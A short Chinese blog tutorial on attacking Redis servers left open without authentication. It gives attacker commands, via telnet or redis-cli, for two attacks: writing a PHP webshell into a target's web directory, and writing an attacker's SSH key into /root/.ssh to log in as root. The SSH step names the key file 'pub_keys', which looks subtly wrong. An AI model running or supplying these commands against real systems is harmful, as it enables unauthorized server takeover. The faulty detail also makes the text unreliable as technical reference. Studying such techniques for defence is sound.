初识Redis未授权访问

redis是一种以key-value为键值对的非关系型数据库

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

漏洞利用

本机通过telnet命令主动去连接目标机

telnet 192.168.1.13 6379

或者通过 redis-cli.exe -h 192.168.1.13 连接

连接成功后,输入info获取相关信息可以看到redis版本号等

利用方式

写入一句话webshell

1
2
3
4
5
6
7
8
9
//设置x的值

redis 192.168.1.13:6379> set x "<?php phpinfo(); ?>"

redis 192.168.1.13:6379> config set dbfilename test.php

redis 192.168.1.13:6379> config set dir D:/WWW/

redis 192.168.1.13:6379> save

成功写入目标机

http://192.168.1.13/test.php

写入ssh公钥

  • 在本地生成一对密钥
1
root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

1
2
3
4
5
6
7
8
9
root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.1.13

192.168.1.13:6379> config set dir /root/.ssh # 设置本地存储文件目录

192.168.1.13:6379> config set dbfilename pub_keys # 设置本地存储文件

192.168.1.13:6379> set x "xxxx" # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.1.13:6379> save # 保存

再到本地去连接ssh

1
root@ip-:~/.ssh# ssh -i id_rsa root@192.168.1.13

即可

关注作者公众号,获取更多资源!
赏作者一杯咖啡~